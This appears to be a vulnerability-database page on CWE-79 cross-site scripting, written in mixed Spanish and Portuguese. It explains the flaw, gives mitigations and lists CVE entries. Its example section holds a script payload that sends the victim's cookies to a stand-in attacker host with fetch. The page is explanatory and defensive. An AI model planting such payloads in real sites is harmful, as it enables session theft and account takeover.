Fallos del tipo CWE-79

29.112 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-6366HIGHWhatsUp Gold Stored Cross-Site Scripting (XSS) via Alert CenterEPSS 0.5%CVE-2025-1174MEDIUM1000 Projects Bookstore Management System Add Book Page process_book_add.php cross site scriptingEPSS 0.5%CVE-2023-32685MEDIUMClipboard based cross-site scripting (blocked with default CSP) in KanboardEPSS 0.5%CVE-2024-21724MEDIUM[20240203] - Core - XSS in media selection fieldsEPSS 0.5%CVE-2026-18481MEDIUMStored XSS in Participant URL Field leads to Account Takeover via Session Token TheftEPSS 0.5%CVE-2023-7315MEDIUMNagios XI < 5.11.3 XSS via Graph ExplorerEPSS 0.5%CVE-2023-6365HIGHWhatsUp Gold Stored Cross-Site Scripting (XSS) via Device GroupsEPSS 0.5%CVE-2024-2779LOWCampcodes Online Marriage Registration System application-bwdates-reports-details.php cross site scriptingEPSS 0.5%CVE-2023-6367HIGHWhatsUp Gold Stored Cross-Site Scripting (XSS) via RolesEPSS 0.5%CVE-2023-1767MEDIUMThe Snyk Advisor website (https://snyk.io/advisor/) was vulnerable to a stored XSS prior to 28th March 2023. A feature of Snyk Advisor is toEPSS 0.5%CVE-2023-6364HIGHWhatsUp Gold Stored Cross-Site Scripting (XSS) via DashboardEPSS 0.5%CVE-2023-0314MEDIUMCross-site Scripting (XSS) - Reflected in thorsten/phpmyfaqEPSS 0.5%CVE-2022-46968MEDIUMA stored cross-site scripting (XSS) vulnerability in /index.php?page=help of Revenue Collection System v1.0 allows attackers to execute arbiEPSS 0.5%CVE-2023-23470MEDIUMIBM i privilege escalationEPSS 0.5%CVE-2025-4611MEDIUMSlim SEO <= 4.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via slim_seo_breadcrumbs ShortcodeEPSS 0.5%CVE-2023-0327LOWsaemorris TheRadSystem users.php cross site scriptingEPSS 0.5%CVE-2022-4822LOWFlatPress Setup main.lib.php cross site scriptingEPSS 0.5%CVE-2022-37339MEDIUMWordPress Meet My Team plugin <= 2.0.5 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2024-1894MEDIUMBurst Statistics – Privacy-Friendly Analytics for WordPress <= 1.5.6.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via burst_total_pageviews_countEPSS 0.5%CVE-2022-4821LOWFlatPress XML File Handler/MD File admin.uploader.php onupload cross site scriptingEPSS 0.5%